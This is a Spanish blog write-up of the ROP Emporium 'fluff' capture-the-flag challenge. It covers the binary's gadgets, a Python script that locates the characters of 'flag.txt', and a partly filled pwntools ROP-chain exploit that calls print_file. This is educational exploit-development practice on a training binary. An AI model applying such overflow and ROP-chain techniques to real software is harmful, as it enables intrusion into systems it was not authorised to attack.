Post

Solución Ropemporium fluff

Introducción

El Desafío Ropemporium fluff presenta similitudes con el desafío write4. La tarea consiste en identificar gadgets para escribir en registros. El enunciado advierte sobre la disponibilidad limitada de gadgets en este binario y sugiere explorar questionableGadgets. Además, se nos encomienda realizar una llamada a la función print_file().

Exploración de Gadgets en questionableGadgets

Para comprender mejor las herramientas disponibles en questionableGadgets, hemos utilizado pwndbg para analizar la función. Pwndbg questionable

  1. Gadget 1: xlat BYTE PTR ds:[rbx]
    • Descripción: Realiza una traducción de byte utilizando el contenido de rbx.
    • Utilidad: Ideal para manipular y transformar datos almacenados en el registro rbx.
  2. Gadget 2: pop rdx; pop rcx; add rcx,0x3ef2
    • Descripción: Desapila valores en rdx y rcx, luego suma 0x3ef2 a rcx.
    • Utilidad: Ofrece control sobre los registros rdx y rcx, permitiendo manipulación eficiente de datos.
  3. Gadget 3: bextr rbx,rcx,rdx
    • Descripción: Realiza una extracción de bits desde rcx hasta rdx y almacena el resultado en rbx.
    • Utilidad: Útil para operaciones avanzadas de manipulación de bits.
  4. Gadget 4: stos BYTE PTR es:[rdi],al
    • Descripción: Almacena el contenido del registro al en la dirección apuntada por rdi en la segmentación de datos.
    • Utilidad: Simplifica la escritura eficiente de datos en memoria.

Esta exploración detallada proporciona una base sólida para construir nuestra cadena ROP de manera estratégica, utilizando estos gadgets de manera coordinada para lograr con éxito nuestro objetivo de invocar la función print_file().

Enfoque de explotación

Con un offset de 40 bytes una vez controlamos RIP, utilizaremos los siguientes gadgets: bextr_rbx_rcx_rdx para extraer bits y xlatb.

Determinación de Dirección de Datos:

Identificar la dirección de datos donde se almacenarán los datos, en este caso, la cadena “flag.txt”.

Localización de Caracteres en la Memoria:

Buscar la dirección de cada carácter individual en la cadena “flag.txt” en el binario utilizando la función read y almacenarlo en un array.

El siguiente script realiza esta tarea:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

binary_content = open('fluff', 'rb').read()
binary_offset = 0x400000
string_to_write = b"flag.txt"
char_locations = []

for char in string_to_write:
    char_addr = hex(binary_content.find(char) + binary_offset)
    char_locations.append(char_addr)
    print(f"{chr(char)} encontrado en {char_addr}")

Gadgets

Necesitamos pop_rdi y también necesitaremos saber la dirección de rax, así como pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret; , stosb byte ptr [rdi], al; ret; y print_file

Esqueleto del exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import process, p64, log

shell = process("./fluff")

offset = 40
junk = b"A" * offset

strings = []
flag = "flag.txt"

print_file = p64()
data = 

pop_rdi = p64()
stosb = p64()
xlatb = p64()
pop_rdx = p64()

rax = 

payload  = b""
payload += junk

for i in range(len(flag)):
    payload += pop_rdx + p64(0x2000) + p64(strings[i] - 0x3ef2 - rax)
    payload += xlatb
    payload += pop_rdi + p64(data + i)
    payload += stosb
    rax = ord(flag[i])

payload += pop_rdi
payload += p64(data)
payload += print_file

shell.sendlineafter(b"> ", payload)

flag = shell.recvline_contains(b"ROPE").decode()
log.info(f"Flag: {flag}")

Empezamos con el script anteriror para saber los strings que seran los siguientes:

1
2
3
4
5
6
7
8
f encontrado en 0x4003c4
l encontrado en 0x400239
a encontrado en 0x4003d6
g encontrado en 0x4003cf
. encontrado en 0x40024e
t encontrado en 0x400192
x encontrado en 0x400246
t encontrado en 0x400192

Luego los gadgets que los sacamos de questionableGadgets:

0x0000000000400628 <+0>: xlat BYTE PTR ds:[rbx]

0x0000000000400639 <+17>: stos BYTE PTR es:[rdi],al

0x000000000040062a <+2>: pop rdx

Ahora nos falta la dirección de print_file, la cual podemos obtener utilizando Radare2. La dirección es la siguiente: 0x00400510. También nos queda rax, que podemos ver usando Pwndbg con un breakpoint, que sería así: 0xb. No hago mucho énfasis en esta parte, ya que hemos estado trabajando en estos conceptos en desafíos anteriores.

Exploit

Pwndbg questionable

This post is licensed under CC BY 4.0 by the author.